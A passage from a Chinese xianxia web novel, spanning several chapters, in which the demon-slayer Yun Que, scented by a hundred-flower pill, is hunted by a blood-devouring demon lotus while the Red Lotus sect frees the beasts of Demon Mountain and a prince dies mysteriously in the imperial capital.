青纱之下,传出红莲教主低声的咒言。 那咒言晦涩阴沉,响彻整个鸿雁城。 燕无鹰觉得头脑一阵胀痛,脑子犹如要炸裂一样,他急忙运转气机堵住耳朵,但效果不大,只能硬抗。 渐渐的,满城生长的血莲安静了下来。 但地底深处,无数的根须却开始疯狂生长,朝着天祈城的方向蔓延而去。 红莲教主的身形漂浮而起,朝着一个方向瞬息飞走。 燕无鹰没等询问,人家已经消失了踪迹。 燕无鹰的目光低沉了下来。 红莲教是他最大的助力,也是他最大的威胁。 因为他始终无法控制红莲教的教主。 对于君王来说,不受控的将军,无论战力多高,功勋多大,最好的办法只有一个。 尽快铲除! 燕无鹰还不是君王,他无法踢开或者铲除红莲教主,只能与虎谋皮。 这一点,始终是燕无鹰的无奈之处。 沉沉的呼出一口气,燕无鹰准备将伤势完全养好。 接下来肯定是连番的恶战,只有将自身状态调整到巅峰,才能全力应对。 没走出多远,燕无鹰猛然回身,望向红莲教主飞走的方位。 “她要去什么地方搅乱大晋,难道……” 燕无鹰的神色变得惊疑不定,沉吟稍许,放出一件飞行法器,破空飞走。 不久后,燕无鹰落在一处小镇之外。 小镇,是妖山镇。 旁边的高山,便是妖山。 燕无鹰脚步匆匆,走到妖山脚下。 随后他看到了一具尸体。 尸体穿着隶属于学宫的长袍,并非学子服,而是学正才能穿的衣服。 驻守妖山的学正,身死于此! 当看到学正尸体的那一刻,燕无鹰的脸色瞬间变成苍白起来。 这时周围的空气出现震荡,刮起一阵狂风! 狂风中伴着碎裂的响动,仿佛有什么东西在坍塌碎裂。 等狂风过后,笼罩妖山的大阵被彻底摧毁! 山林深处,无数妖物开始蠢蠢欲动,低沉的吼声越来越多。 红莲教主的身影从山中走出,身后是密密麻麻的无数妖物! 在燕无鹰眼前,红莲教主的身影看似单薄,却仿若恶魔! “你疯了!” 燕无鹰恼怒道:“杀掉学正,天祈学宫岂能善罢甘休!” “你不也杀了不少学宫之人么,区区一个普通学正而已,算得了什么,小题大做。”红莲教主声音冷淡的道。 “我杀的是学子!只要没人看见我出手,他们永远也找不到真凶!你杀的是学正,惹怒了大祭酒,你拿什么抗衡!”燕无鹰冷喝道。 燕无鹰现在浑身发冷。 他杀学子是小事,而且伪装得天衣无缝,让人觉得死者均被妖兽所杀,只要学宫查不出来,他就能永远置身事外。 如今明目张胆的杀了一位学正,学宫肯定不会不闻不问,大祭酒真要出手,早晚能查出来凶手是谁。 到时候红莲教面对的,就不是时日无多的大晋,而是闻名天下的天祈学宫! 燕无鹰无论如何也不想与学宫为敌,因为根本招惹不起。 惹怒了学宫,别说一个红莲教,即便如大晋这般的庞大国度,也会被覆灭! 红莲教主冷声一笑,道: “无需多虑,你只要知道这世上有些人比天祈学宫还要可怕,就够了。” 说罢,红莲教主的身影消失在原地。 她身后的无数妖兽纷纷冲出妖山,四散而去。 燕无鹰不敢久留,急匆匆返回鸿雁城。 飞行的途中,燕无鹰眉峰紧锁,心里始终浮现着红莲教主最后一句话中的关键词。 有些人…… 到底什么人,比天祈学宫还可怕? 燕无鹰想不通究竟,他只觉得红莲教主愈发神秘莫测,越发难以掌控。 …… 司天监。 云缺回到斩妖司后,泡在温泉里好半天,出来一闻,还是满身花香。 云缺顿时泄气了。 被剃了个光头不说,还弄得一身香气,这怎么出门呐! 尤其这香气很容易把嗜血魔莲引来,到时候自己若真被吞了,那也死得太憋屈了。 第233章 尊重一下我的隐私 飞行途中,云缺看到数百头妖物在路边游荡。 这还仅仅是皇城与双角山之间的一条路线而已,可想而知其他方向的妖物加起来,绝对是一个庞大的数量。 “哪里来的这么多妖?难道是妖山里的?” 云缺胡乱猜测着。 到了双角山之后,见到两大车装得满满登登的金矿石。 常威和瞎子愁眉苦脸,无精打采,好像受到了什么沉重的打击。 云缺没理睬两人的情绪,吩咐道: “改路,不去天祈城,把矿石运到铁石镇。” 铁石镇距离八山城不远,离着双角山其实挺近,而且方向与皇城相反,这样一来运送的途中就不会遭遇妖兽。 除非妖兽能突破八山城,否则双角山到铁石镇这条路还算安全。 拿起一块沉甸甸的金矿石,云缺眼睛都在放光,咬牙切齿的道: “管他妖也好人也罢,谁敢挡我财路,哪怕神魔也统统干掉!” 常威很认可的道: “放心吧二当家!咱们做的就是抢钱的买卖!敢抢咱们,跟他拼命!” 瞎子抽了抽鼻子,道:“二当家身上好香啊!” 常威道:“你懂个屁!这叫春风得意步步生莲,当然会有香气!二当家早晚要鲤跃龙门成就真龙之身!” 一听鲤跃龙门,云缺就气不打一处来。 我这是鲤跃龙门么,我这是鱼饵喂鱼! “少拍马屁了,好马也得被你们拍死!回去我让萍山君过来帮你们运矿石,到了铁石镇记得多弄几个院子做仓库。”云缺道。 不运到皇城,其实云缺还有个心思。 天祈城早晚得大乱,到时候自己的金矿没准就丢了。 铁石镇位于深山,没什么外人,即便大晋燃起战火,一时也波及不到那边,况且还有牧青瑶手下的三千悍卒驻守,存放金矿比较安全。 “一个院子应该够了,咱们就一座金矿,开采的速度没那么快。”常威道。 他说的其实是现状。 金矿开采与铁矿不同,必须小心翼翼,所以进度不快。 “加派人手,两座矿同时开工。”云缺指了指另一个山头儿,道:“那边还有一座银矿呢。” 安排完双角山这边的事宜,云缺乘坐飞行法器返回皇城。 常威和瞎子大眼瞪小眼的互相看了半天。 “银、银矿!” “金银两座矿!” 两人又开始抱头痛哭。 之前以为只有一座金矿,他们现在才知道原来黑风寨的老巢,坐落于一金一银两座大矿之上。 回城的路上,云缺尽力散发着妖气。 当鱼饵的滋味可不好受,换成也不愿意。 但妖气这种气息,并非云缺能控制的,来自妖魂,平日里收敛容易,散发相对困难,毕竟云缺本体是人族。 正咬牙切齿想要激发更多妖气之际,耳畔响起妖魂的调笑声。 “啧啧,猎妖人居然还需要妖气,怎么,不想做人,想做妖了?” “别说风凉话了,赶紧散发点妖气帮我遮蔽花香,要不然容易鱼没钓到,鱼饵先被吞。”云缺道。 “没用的,百花丹那种东西,连纯正的妖族吞吃也会遍体生香,你这样挺好,香喷喷多招人稀罕,以前是臭弟弟,现在是香弟弟,咯咯咯咯!”妖魂怪声怪气的笑道。 “我被吞,你也好不了!唇亡齿寒懂不懂,帮帮忙呀!”云缺无奈道。 “用得着我么,找你的国师姐姐去啊,人家可是道门强者,人又美若天仙,看一眼都是你的福气呢。”妖魂嘲笑道。 “整天听墙根儿有意思吗,是不是我说什么你都听得见?能不能尊重一下我的隐私?”云缺道。 “你当我愿意听吗,听得我想吐!人家把你卖了你还在帮人家数钱,还福气呢,真恶心!”妖魂道。 “那不是没办法么,我又打不过她,反正拍马屁又不花钱,这次是我大意,没想到那家伙给我吃百花丹,什么道门强者,强盗还差不多!等我找到她家祖坟,全给她刨喽!”云缺懊恼道。 “刨祖坟算什么能耐,真想报仇,以后找个机会废了她的修为,我不吃她也行,你去夺了她的元阴,修为即可大增,她没了修为,你又变得更强,这样就不怕她报复你喽。”妖魂出谋划策道。 “不吞噬她的元神,你又没有好处,你会这么好心帮我?”云缺怀疑的道。 “欺负到我的傻弟弟头上来了,我这当姐姐的自然要替你出头。”妖魂道。 “我不信,你肯定有其他目的。”云缺道。 “我看她不爽!行了吧。”妖魂道。 “还是姐姐对我好!”云缺呵呵笑道。 “那个国师,你要小心防备,她可不是善茬。”妖魂声音转冷。 “我知道,百花丹的事我肯定记她一辈子。”云缺道。 “哼,你以为只有百花丹?凌妙清真正的目的不是拿你当鱼饵,而是那嗜血魔莲。”妖魂道。 “什么意思?她要嗜血魔莲做什么?”云缺奇怪道。 “嗜血魔莲的莲子,祭炼之后有压制心魔之效,你说她要魔莲做什么。”妖魂道。 “莲子居然有这等奇效!”云缺吃惊道。 原来凌妙清想要将魔莲引到皇城,借众人之力将其铲除,她好得到莲子压制心魔。 至此,云缺察觉到国师的心机之深。 凌妙真正的目的是压制心魔,无论晋国存亡与否,无论皇城里的将军战死多少,人家根本不在乎! 云缺心头有些发冷。 果然如妖魂所说,道门强者修为越高,越无情! 得知国师的真正企图,云缺将凌妙清的危险程度提升到最高的一类。 这种冷血的强者,以后还是少打交道为妙。 “你怎么知道莲子的效用,你见过嗜血魔莲?”云缺问道。 “我没见过,但我父王曾经杀掉一棵三千年的魔莲,得到过一些莲子。”妖魂道。 “妖都之王,怎么还杀同类呢。”云缺不解道。 妖魂的父亲是妖都的主人,掌控着北域群妖,按理说妖族强者之间很少会自相残杀才对。 “嗜血魔莲不是我们的同类,在妖族眼里,魔莲只是一种恐怖的怪物,不杀掉,早晚会成为大患。”妖魂道。 “莫非魔莲还会吞噬妖物?”云缺道。 “当然,嗜血魔莲吞噬所有活物,无论人还是妖,都是它成长的养料,这种怪物有个可怕的特点,只要吞噬的血食足够多,它就可以无限生长,无限变强。” 妖魂的声音变得低沉下来,道: “云州之上已经很久没出现过嗜血魔莲的踪迹,但凡此物出没,必定会被人族与妖族剿灭,不可能让其成长起来,否则谁也无法抗衡。” 云缺听得后背发凉。 无限生长! 这种描绘,实在太过可怕。 人族需要修炼才能变强,妖族其实也类似,需要吞噬各种天材地宝才有机会变强。 可嗜血魔莲的成长方式无比简单,吞噬活物就行。 这种堪称野蛮的变强过程,无异于天下间所有生灵的天敌! “既然嗜血魔莲早该灭绝,怎么又出来一头?红莲教到底从哪找到的这种怪物?”云缺疑惑道。 “你要对付的红莲教,恐怕没有表面那么简单,控制嗜血魔莲或许不是很难,难的是,将这等本该绝迹的怪物找出来。”妖魂道。 以云缺的心智,自然很清楚妖魂这句话的份量。 凌妙清曾经断定,嗜血魔莲绝非被人驯化,而是被暂时控制。 以红莲教主的手段都只能控制,可见魔莲之凶悍,那么当初捉到嗜血魔莲的,又会是谁呢? 云缺隐约间觉得,在红莲教的背后,仿佛隐藏着某种庞然大物。 越过满地妖兽,飞行法器落进皇城。 回到司天监,云缺发现司天监里到处是忙碌的身影。 找到牧青瑶才得知,皇帝又下了圣旨,命司天监清缴城外妖物。 司天监众人现在怨声载道。 又是剿灭红莲教,又是清缴妖兽,皇帝简直拿司天监当驴子,没完没了的使唤。 “有没有妖物的线索,到底从哪里来的。”云缺道。 “暂时没有。”牧青瑶摇头道:“妖物数量很多,皇城附近不该出现如此众多的妖邪。” “派人去妖山瞧瞧,刚才看到一些妖兽有点眼熟,好像是妖山里的种类。”云缺道。 牧青瑶闻言一惊,急忙找来捕风司的人手前往妖山查看。 没过多久,传来消息。 妖山空了! 驻守妖山的一位学正死于山下。 “红莲教居然敢打妖山的主意?还杀了一位学正!”花不谢惊讶道。 没人能想到,红莲教竟然敢与天祈学宫为敌。 牧青瑶道: “妖山之事,我们都知道肯定与红莲教有关,可是没有任何证据能证明红莲教是真凶,不查明真相,学宫不会对红莲教出手。” 众人纷纷点头。 猜测归猜测,学宫是传授学问的地方,是最讲道理的地方,查明真凶肯定不会放过,但是没查清之前,学宫绝不会贸然出手对付红莲教。 “先不管凶手,既然是妖山的妖兽逃了出来,学宫肯定会管。”云缺道。 牧青瑶起身道: “我去学宫找大祭酒。” 有学宫出面,城外的妖兽就好处理多了,否则司天监这点人手不知要清缴到什么时候才能完成任务,死伤惨重是难免的。 牧青瑶刚要走,忽然一只小巧的白色纸鹤从门外飞来。 花不谢见到纸鹤后神色一变,抬手接住。 这种纸鹤云缺见过一次。 当时与花不谢去鸿雁城查看的时候,司天监二师兄曾经用来传讯给花不谢。 纸鹤落下后,随即响起一道公鸭嗓的声音。 “邵武国营盘遭遇偷袭,死伤过千,邵武国五十万大军调遣出二十万往皇城而来,有人在栽桩嫁祸。” 声音消失后,大厅内的众人纷纷一惊。 邵武国的五十万大军占据一城,修建工事,暂时还没威胁到皇城,这下来了二十万大军,皇城这边的局面更加不利。 别人都在震惊于邵武国的消息,唯独云缺盯着花不谢手里的纸鹤。 云缺等着纸鹤燃烧呢。 却不见动静。 上次传音结束,纸鹤化作灰烬,这次怎么不烧了? 云缺觉得有点奇怪, 刚才听到的沙哑声音,好像不是从纸鹤传来,而是从门外传来的。 在云缺疑惑之际,看到大门外走进一人。 看到这人的同时,云缺立刻瞪大了眼睛。 走进来的,是个书生打扮的年轻人,正是李玄驹,可是大厅里的座位上,李玄驹正百无聊赖的打着哈欠。 两个李玄驹! 第235章 找个机会睡了她 天祈城,庸医馆。 杨七古望着自己的九根手指,目光从迷茫渐渐变得坚定。 他下定了决心,准备摄取封入手中的灵草之力。 杨七古预感到大战将至,他与楚红莲,肯定会再次相见。 再见之时,就是生死相搏之际。 正要摄取灵草之力的时候,院门一响,云缺走了进来,提着两坛子酒。 “就知道七叔没睡,给你弄点夜宵。” 云缺说着将两壶酒放在桌上。 杨七古瞄了眼酒壶,道: “菜呢。” “没买,我没胃口,喝点闷酒就行了。”云缺道。 杨七古鼻翼动了动,道: “弄这么香,是不是刚从青楼出来。” “七叔你就别说风凉话了,我不信你认不出百花丹的气味,我被人坑了。”云缺唉声叹气的道。 “谁这么大方,坑你居然用万金难求的百花丹,真是有钱人呐。”杨七古倒了碗酒,自斟自饮。 “除了国师那个贱人还能有谁,我这次栽到女人手里了!” 云缺喝掉一大碗酒,气呼呼的将来龙去脉说了出来。 “原来是嗜血魔莲,难怪气息那么诡异,此等邪物很久不曾现世,我也只是听闻过而已,从未见过。”杨七古道。 “听说嗜血魔莲的莲子有压制心魔之效,七叔要不要弄点。”云缺道。 “魔莲的莲子早已绝迹,很难见到,而且用途很多,不止压制心魔,还是几种极品丹药的药引,若能得到,当然最好,但那魔莲的气息极强,我没把握。”杨七古道。 “七叔可以坐山观虎斗,等国师与魔莲斗个两败俱伤,你再出手夺莲子,气死凌妙清!”云缺咬牙切齿道。 “就怕人家也打着这个主意,真正的天材地宝之争,没人会手下留情,机关算尽,无所不用其极才是修行界的法则。” 杨七古又倒了碗酒,道:“你斩妖多年,知道什么妖好杀,什么妖难斩,但你要记住一个道理,在这片天地之间,最危险的,永远不是那些外表狰狞的强大妖物,而是人。” 云缺点头道:“我记住了七叔,这些年你没少唠叨,我耳朵都要听出茧子了。” 杨七古摇头道: “记住归记住,你还无法理解这句话的真正含义。” 云缺奇怪道: “理解啊,人心如妖最难揣测,我们永远不知道别人心里在想着什么,所以人比妖还危险。” 杨七古笑了笑,道: “你说得对,也不对,我今天教你最后一次,人真正危险的地方只有一个字,变。” “变?”云缺疑惑道。 “对,变。” 杨七古的神色苦涩了起来,唏嘘道:“其实揣摩人心,不算很难,只要相处得够久,你就会看透一个人,但人心,是会变的,我活了这么多年,最近才明悟这份道理。” 云缺想了想了,大致明白了七叔这番话的含义。 人心会变。 或者随着境遇的改变而变化,或者随着权利的庞大而变化,或者随着劫难的来临而变化。 这一点,有个最为明显的例子。 晋皇,殷子受。 从最初的诸侯,殷子受一步步登上了皇位。 他最初的大赦天下,也许当真是气度释然,因为他只是个小小的诸侯,一步登天成为皇帝,认为自己的气度足以慑服群臣,慑服天下。 当初的晋皇,是大度的。 直至登上皇位之后,殷子受开始听到不同的声音,尤其窃国的说法,让他逐渐变得心狠手辣,开始铲除异己,开始布局天下,利用灵芸郡主来增加威望。 那时的晋皇,开始变得冷血无情。 直至最后大祸临头,四面楚歌,殷子受又变成胆小如鼠,只会让臣子去送命,他则躲在皇宫里当缩头乌龟。 晋皇的变化,演绎出一朝暴富后的意气风发与劫难临头的首鼠两端。 云缺拿殷子受做比较,大致明白了七叔的道理。 但云缺知道,七叔说的人心会变,肯定与他那位红颜有关。 “七叔,说说你那位知己,你们有没有花前月下,耳鬓厮磨。”云缺笑呵呵的道。 “没有,我们去了很多地方,寻了很多药材,平日里探讨药理,时常因为见解不同而争吵不休。” 杨七古说得无聊,可眼神里却泛起怀念的光泽。 “就这啊?一点也不浪漫。”云缺撇嘴道。 “有此知己,我心足矣。”杨七古微笑道。 “七叔,你们有没有孩子?”云缺道。 “没成亲,哪里来的孩子。”杨七古道。 “没成亲也可以有孩子啊,七叔该不会一点便宜都没占到吧?”云缺声音古怪的道。 “君子之交,淡如水,知己之交,美如画,既然是画,好好欣赏即可。”杨七古道。 “原来七叔是个死脑筋,你都这把年纪了还欣赏呢,不如找个机会睡了她。”云缺提议道。 “门在那边,好走不送。”杨七古愠怒道。 “嘿嘿,开个玩笑。”云缺笑道。 “长辈的玩笑也开,你就是个混小子,罚酒三杯。”杨七古道。 “三杯太少,我自罚三碗!”云缺笑道。 杨七古轻声一叹,道: “有时候想一想,当初我若能大胆一些,也许就不是这个结局了,人生如梦,一路走来,最后回头看去,只剩遗憾……” 杨七古一碗接一碗的喝着酒。 云缺始终陪着,两人也不说话,闷头喝酒。 直至将两坛酒喝得半点不剩,杨七古苦笑一声,道: “你说得对,这一生若遇到喜欢的人,就该睡在一起,等我们死后,云缺,你要记得把我们埋在一起。” 杨七古的声音有些发冷。 云缺知道七叔这番话不是玩笑,而是发自内心。 身为当世神医,杨七古无法忍受自己的红颜知己是个杀人如麻的恶魔。 他要与楚红莲同归于尽! “我记住了。” 云缺凝重的点点头,随后告辞离开。 返回司天监的路上,云缺的神色渐渐阴沉下来。 “红莲教!” 云缺猛地捏起了拳,眼中含着杀意。 七叔拿自己当子侄对待,亦师亦友,从小到大,若没有七叔教导,云缺自认为走不到如今这一步。 启蒙之恩,岂能忘却。 世上的道理,是七叔在一次次谈天说地中,潜移默化所教导。 七叔对云缺而言,有着极重的师恩。 云缺自然看得出七叔的死志,所以云缺决定在七叔油尽灯枯之前,将那红莲教主斩于刀下! 一边想着心事,云缺途经一座高大的府宅。 在府宅门口,看到司天监的人手。 是一些属官,不知忙碌着什么。 抬头看了眼,顺王府。 顺王是皇帝的堂兄。 顺王年纪大了,从不上朝,只在王府享福,平常也不出来走动,以至于文武百官早已将这位顺王遗忘。 云缺心里生疑。 司天监的人,怎么来顺王府了? 抓个属官问了问。 得知顺王府发生凶案,顺王居然被杀,惨死家中。 “谁负责这边。”云缺问道。 “骁战司和阴阳司,顺王死状古怪,不知被妖物所杀还是恶鬼所害,所以两司的少监大人都到了。”那属官如实答道。 云缺点点头,转身走进王府。 不是云缺多管闲事,而是现在的天祈皇城属于力量最空虚的时候,司天监的五品高手加上白厌全去了边关,皇城里剩下的五品屈指可数。 这种时候发生诡案,死的还是殷子受的堂兄,云缺觉得这件事绝对不正常。 进了王府,很快找到骁战司的贾敬与阴阳司的齐镰。 两人正在王府后宅查看尸体。 见云缺到了,齐镰捏着兰花指道: “云大人怎么来了,正好你也来瞧瞧,这件命案诡异得很呢。” 说话仍是娘娘腔。 “刚好路过。”云缺看了眼尸体。 的确死得诡异。 顺王的尸体骨瘦如柴,眼珠子几乎瞪了出来,嘴巴大张着,整个人犹如一副骷髅,仿佛临死前遭遇了巨大的痛苦。 云缺没碰尸体,皱了皱眉。 尸体很古怪。 血肉基本空了,只剩个躯壳。 “云大人看出了什么。”齐镰问道。 “暂时看不出死因,不像妖物所为。”云缺道。 贾敬在旁边撇了撇嘴,不屑的道: “什么叫不像,肯定不是妖!我与妖物打了多年的交道,一眼自可分辨。” 贾敬始终和云缺不对付,总认为新开设的斩妖司抢了他的位置,看到云缺从来没有好脸色。 云缺不以为意,没理睬贾敬,问齐镰道: “莫非是鬼物?” “云大人猜对了,就是恶鬼所为,这皇城里呀,恶鬼可不少呢。”齐镰捏着兰花指道。 “哪里来的恶鬼?”云缺道。 “嗐,还不是最近杀戮太多,光禁军就在城外死了近十万,那些幽魂很多飘进皇城,有怨气重的渐渐形成厉鬼,要我看呐,今后皇城里的鬼物肯定越来越多。”齐镰尖声尖气的道。 云缺始终锁着眉峰。 城里有鬼物在所难免,但顺王之死,绝非鬼物所为! 因为鬼物通常只会袭击活人的神魂,极少有吸食血肉的。 疑惑间,云缺听到一种轻微的响动。 像是蛋壳即将破裂的轻响。 云缺目光一沉,望向顺王的尸体。 响声,就来自尸体! 咔嚓一声轻响,尸体的心窝处突然碎裂,一条手指粗细的绿色藤蔓探了出来! 于此同时, 地面上有两棵藤蔓同时探出,分别缠住了云缺与贾敬的脚脖子! 第237章 你别过来啊 药浴这种事,通常是不会穿衣服的。 凌妙清也不例外。 不过云缺是穿着盔甲下来的。 水底,当两双眼睛对视在一起的时候,凌妙清只觉得无名火起,好不容易压制的心魔仿佛再次挣脱束缚。 尤其当对面的云缺开始上下打量的时候,凌妙清直接抓狂。 水池里泛起无数气泡,那是磅礴的法力在汇聚。 紧接着一声闷响,水柱升腾而起! 一身盔甲的云缺直接被掀飞。 等云缺好不容易爬起来,凌妙清已然披上道袍,美目含煞,一张俏脸无比冷冽。 国师显然在恼怒。 此刻的模样却实在诱人。 赤着双足,精致的脚趾好似卧蚕,一头长发如瀑,滴滴答答落着水珠,那一身道袍根本无法掩盖住玲珑的曲线,只要看上一眼便觉得秀色可餐,免不得心生邪念。 但云缺此时心里半点邪念都没有。 因为他知道面前的女人有多可怕。 云缺一本正经的拱手道: “惊扰了国师,微臣罪该万死,慌不择路来水里躲躲,没想到会有人。” 凌妙清的心窝起伏了几下,尽力压制着怒火,冷声道: “往水里躲,你可真会选地方!” 云缺昂首解释道: “微臣见池水有花香气息,这才跳下去,都说以毒攻毒,微臣想着以香克香,多泡一会儿没准我身上的花香就淡了。” 凌妙清根本不信,她懒得听云缺辩解,寒声道: “你来缥缈阁作甚!” 云缺现出一副吃惊表情,道: “抓鱼啊!国师不是想要嗜血魔莲么,那玩意追来了!微臣身为鱼饵,一定会鞠躬尽瘁死而后已,完成鱼饵的使命!” 凌妙清听得咬牙切齿,恨不得一巴掌拍死眼前的家伙。 人家都是放长线钓大鱼,鱼饵在鱼线尽头呢,你这鱼饵倒好,直接贴脸绑在钓鱼人的手指上,鱼竿鱼线全省了! 鱼要咬钩,偏偏鱼饵在自己身边,凌妙清岂能不恼。 她的计划,是让司天监加上禁军刑部所有高手消耗魔莲,等到最后她再亲自出手一锤定音, 现在倒好,别人没动手呢,云缺这个鱼饵先跑到缥缈阁。 缥缈阁的地面传来震动。 外面有什么东西在撞击着小楼。 “是那魔莲!国师速速出手降妖除魔!”云缺一个箭步躲在凌妙清身后。 现成的一尊大佛,不用白不用。 云缺心里冷笑,你不是喜欢钓鱼么,咱们俩一起当鱼饵! 云缺铁了心要缠住凌妙清,如此才能自保。 凌妙清瞥了眼被撞击的大门,转身走向通往二层的阶梯,道: “跟我来。” 云缺立刻跟了上去。 走上二楼后,云缺发现这里是间书房,书架上摆着很多书籍。 凌妙清走到一个书架前,探手一拍。 那书架立刻转动,现出其后的一面光门。 “我们走。” 凌妙清说罢当先迈入其中。 云缺紧跟着跨进光门。 现在云缺就是黑夜里的一点萤火,到哪里都会被魔莲追踪,最安全的地方,就是国师身边。 所以云缺想都没想,凌妙清去什么地方,他肯定跟着。 光晕闪烁。 凌妙清的身影穿过了光门,迈进其后的一间密室。 但云缺的身影就此消失在光门之中。 凌妙清转回身,冷笑道: “臭小子,跟我斗你还嫩了点!回你的司天监罢!” 等眼前的光晕消散,四周景物渐渐清晰起来,云缺愣了愣。 这不是司天监吗! 自己居然从缥缈阁传送到了司天监! 关键是凌妙清没过来! 云缺知道上当了,大骂道: “最毒妇人心!居然甩了我,凌妙清你给我等着,今天我赖上你了!对我做过的事你要负责到底!” 云缺这边大骂一通,也算解了点气。 但随后云缺看到旁边站着两人,正直愣愣的盯着他看。 一个是牧青瑶,另一个是花不谢。 云缺眼角一抽,道: “那个……刚才真的钓鱼来着,就是鱼有点大。” 牧青瑶和花不谢同时摇了摇头。 钓鱼实在不太像,沾花惹草倒是挺像的。 院墙外,一朵硕大的妖莲冒了出来,云缺顾不得解释,急急道: “魔莲来袭,快给李玄驹他们传信!你们躲起来,我去找国师算账!” 说罢云缺冲出司天监,一路狂奔,妖花果然追了上来。 牧青瑶知道情况危急,决定立刻通知二师兄他们。 天门关现在已经不重要了,皇城若被覆灭,夺下天门关毫无用处。 等花不谢传出消息后,牧青瑶开始召集司天监的人手。 牧青瑶深知今晚的皇城,是最空虚的时候,红莲教选择在今晚发难,很有可能成功占据皇城,必须聚集一切力量抗衡红莲教的奇袭。 即便心窍玲珑的灵芸郡主,也没想到决战来得如此之快。 云缺此时也没想到,自己还能跑得这么快! 七品武夫的气机被尽数激发,若从高处看去,云缺脚下的风旋在长街上连成了一串涟漪。 跑着跑着,云缺发现不对劲。 不是自己跑得更快,而是魔莲追了一会儿居然不追了! 回头一看,硕大的魔莲冲进司天监。 云缺糊涂了。 自己才是鱼饵,怎么魔莲会放弃百花丹? 云缺很快心头一沉。 魔莲应该是奔着牧青瑶去了! 灵芸郡主是罕见的通灵之体,连云缺身上的妖魂都惦记,何况是嗜血魔莲这等凶物。 云缺急忙往回赶。 身上的重甲全扔掉,以最快速度返回司天监。 一进门,看到牧青瑶好端端的站在院子里,旁边是花不谢与陆续赶来的一众属官。 魔莲不见踪迹。 “妖花呢?”云缺奇怪的道。 牧青瑶和花不谢同时指了指斩妖司的方向。 这下云缺更糊涂了。 魔莲不是为了牧青瑶而来,居然冲向斩妖司? 难道嗜血魔莲也想泡温泉? “有古怪,我去看看。”云缺想走,被牧青瑶拉住。 “你真是鱼饵?”小郡主的俏脸上写满狐疑。 “是啊,如假包换!百花丹的味道十天难消,你闻闻,多香。”云缺道。 花不谢在旁边面无表情的道: “既然是鱼饵,为什么鱼不吃呢。” “呃……”云缺一时无言以对。 总说去钓鱼,总说自己是鱼饵,今天鱼来了,结果不吃鱼饵,这没法儿解释啊…… 云缺灵机一动,道: “可能今天鱼的胃口不大好,赶紧去斩妖司瞧瞧。” 等众人赶到斩妖司,看到了奇怪的一幕。 硕大的魔莲开合着花瓣大口,正满院子追着门六。 门六一边逃一边哭爹喊娘,狼狈不堪。 花不谢面无表情的道: “鱼的胃口不错嘛。” 是不错,把门六追得都要哭了。 一见云缺,门六大喊大叫:“云大爷救命!” “你别过来啊!”云缺急忙大声喝止。 结果没用,门六快被吞了,可算看到个救星,朝着云缺跑来。 云缺扭头就跑。 于是牧青瑶花不谢等人再次看到一幕奇观。 云缺在前面逃,门六在后面逃,再后面是巨大的妖花…… 跑出司天监,云缺发力狂奔。 可怎么跑都甩不掉门六。 这家伙别看身板儿瘦削,速度极快。 当然门六也甩不掉身后的妖花。 云缺一边跑,一边道:“你身上带着什么宝贝?怎么妖花偏偏追你!” “什么也没有哇!我哪有宝贝呀!”门六哭丧着脸道。 “分开跑!”云缺道。 “大爷帮帮忙,分开跑我会被吃掉呀!”门六哀求道。 “你找个大树之类的地方躲躲。”云缺道。 正好路边有一棵老树,门六闻言一头扎了进去。 果然有效。 妖花失去门六这个目标,继续开始追云缺。 云缺看到门六藏身的老树,有一节枝桠正在上下摆动,好似在挥手告别。 没一个靠得住的! 云缺在心里暗骂,扔出飞行法器。 用苍鹰飞行一小段距离,云缺跳了下来。 妖花随时能在任何地方出现,有时在地面,有时在楼顶,飞起来容易撞进妖花的肚子。 不如在地面安全。 不久后,云缺再次抵达皇宫。 照例冲进金銮殿。 “微臣已经斩杀很多妖花,尚未找到其本体,微臣继续斩妖去!” 云缺从正门进,从窗户出,一溜烟跑远。 皇宫里的那朵妖花,刚被斩杀,追着云缺的妖花又冲了进来。 殷子受大惊,道:“护驾!护驾!” 皇宫里再次乱成一团。 当云缺第二次闯进缥缈阁,凌妙清正在盘膝打坐。 “你怎么又来!” 凌妙清一看见云缺就气不打一处来。 “微臣与国师同生共死!”云缺往凌妙清对面一坐。 爱咋咋地,反正我不走了。 凌妙清深吸一口气,起身道: “这里不是绞杀魔莲的最佳之地,跟我来。” 云缺面带冷笑,跟着对方又上了二楼。 熟悉的书架,熟悉的光门,加上熟悉的言辞。 “我们走。” 凌妙清一步踏入光门。 云缺这次没动。 上次就被耍了,哪能上当两次。 等了稍许,凌妙清果然消失不见。 云缺甚至动用妖瞳,仔细看了看四周,没有隐身的痕迹。 “真走了?” 云缺暗自嘀咕,这时窗户破开,一朵硕大的魔莲出现在窗外。 既然凌妙清走了,云缺哪能自己留在这,一步踏进光门。 等云缺消失在光门内,缥缈阁大门外,凌妙清缓步走了进来。 “区区鱼饵,也想挣脱鱼钩,痴心妄想。” 凌妙清继续盘坐,阁楼外的妖花随之扑向司天监的方向。 这次凌妙清其实进了传送阵,抵达司天监后又施展挪移法术返回缥缈阁。 云缺可不会挪移。 再次回到司天监,云缺发现凌妙清根本不在,知道又上当了。 总这么折腾可不行。 人家会传送法术,云缺只能用跑的,早晚耗尽力气。 趁着魔莲还没到,云缺想到个主意。 跑到街上,把门六从大树里挖了出来。 第238章 把国师榨干 “跟我回司天监。” 云缺把魂不附体的门六拽到司天监一处偏僻的院子,指着一棵大树道: “你藏在这里,等一个穿道袍的女人一到,你就从树后面伸出脑袋或者胳膊腿儿的,吸引魔莲来袭。” 门六惊疑不定的道: “我会不会死啊?” “那女人是国师,厉害得很,吸引来魔莲你再重新藏好,放心,国师出手,魔莲就是小菜一碟。”云缺道。 “成!我记住了!”门六点头道。 “她来几次,你就吸引几次魔莲,小心别让她发现你的踪迹,如果魔莲太凶你扛不住,国师又没在,就往皇宫后面的缥缈阁跑。”云缺叮嘱完,跳出院墙往皇宫赶。 门六所在的院子,正是每次从缥缈阁传送来的地方。 云缺一边跑一边冷笑。 你凌妙清不是喜欢传来传去么,我两头堵,看你怎么办! 云缺决定今晚把国师彻底榨干! 金銮殿。 第二波妖花刚过被斩杀完毕。 殷子受长出一口气,还没等这口气提回来呢,看到大门外云缺狂奔而来的身影。 殷子受目光呆滞,呢喃道: “他又来了……” 这次云缺连招呼都没打,正门进,窗户出,身后追着的妖花又一头扎进金銮殿。 殷子受也不喊护驾了,直勾勾盯着云缺远去的身影,恼火道: “他是故意的!” 殷子受看清了一个事实,金銮殿不能待了,要不然早晚被云缺给祸害死。 当云缺第三次闯进缥缈阁,凌妙清早有准备,二话不说当先上楼。 云缺也闷头往上跑。 到了光门前,凌妙清回头看了云缺一眼,嘴角带着一丝冷笑,当先踏入光门。 整个过程,二人全无语言交流,很有默契。 